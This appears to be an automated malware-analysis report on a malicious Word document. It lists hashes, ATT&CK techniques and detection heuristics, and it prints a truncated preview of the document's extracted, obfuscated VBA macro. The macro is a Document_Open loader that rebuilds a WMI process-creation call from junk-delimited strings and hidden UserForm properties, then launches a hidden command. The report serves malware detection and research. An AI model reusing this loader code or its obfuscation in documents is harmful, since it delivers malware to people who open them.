Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9aac93599eba8697…

MALICIOUS

Office (OLE)

170.3 KB Created: 2020-07-29 23:17:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: dbd965e9b138bd690cf00a2b6642248c SHA-1: f7c1eee7d93e5a722eaa0d8827120e25ecf62abd SHA-256: 9aac93599eba869798e80c3d41e24b6f2baf93e55f4069eb74aaaac4f8b71a6f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm command stager. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Lemodldr-9206422-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9206422-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9206422-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5011 bytes
SHA-256: 4de1e5fcae5cb5b62e29487e9a59f07c9c0244a3faa0541b4ce0ffe1e7ccc559
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YQJVOhjuhbypxnexqan"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
KSENBldvmqyolctf.LBEPYedcjfmxfltgsd
End Sub


Attribute VB_Name = "KSENBldvmqyolctf"
Attribute VB_Base = "0{D93F4ABF-4738-4E65-BB5D-A755293978D9}{F81BC7D4-56F0-45D1-B97B-870E6ACC4BFB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function LBEPYedcjfmxfltgsd()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
UALZKlgbhqvpbr = Chr(KSENBldvmqyolctf.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
TELVZkubqglu = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + UALZKlgbhqvpbr + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + KSENBldvmqyolctf.PGFGTmetasxz + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
CDFVSzuaseoayke = QVQAAsfxhkczf(TELVZkubqglu)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set TPAMNybpanapkvds = CreateObject(CDFVSzuaseoayke)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
TEFDXzrenjabjh = KSENBldvmqyolctf.XPOECbvemwgnnuh.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
VWHROueyxuybwkr = IJK + (CDFVSzuaseoayke + UALZKlgbhqvpbr + KSENBldvmqyolctf.NXTHTtzycorbav.ControlTipText) + TEFDXzrenjabjh
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
QFILMlsvusmwaovdx = VWHROueyxuybwkr + KSENBldvmqyolctf.PGFGTmetasxz
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set ZRGFKnnmpvwza = HDHZEdwilscmlm(QFILMlsvusmwaovdx)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", TPAMNybpanapkvds. _
Create(LHJSXcekjcchmxv, KFZNRrwsbvbluxq, ZRGFKnnmpvwza), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function HDHZEdwilscmlm(FFZOTlopwugifkauihx)
Set HDHZEdwilscmlm = CreateObject(FFZOTlopwugifkauihx)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
HDHZEdwilscmlm.showwindow = (FKETNggljviaelgqpza + KWSNPofnjvxhpxnqmb) + (DZOEVjvnpolvuwunirr + YBTBNyalhyqdo)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function QVQAAsfxhkczf(NJWYIyiknlpzywp)
NUKIZsrtaddvyni = NJWYIyiknlpzywp
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
KUZIWytoleyuryk = Split _
(NUKIZsrtaddvyni, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
TENJAoytdfxbzayhhua = fder + Join(KUZIWytoleyuryk, bzder)
Dim pCI As String
pCI = Replace$("I3Ø
... (truncated)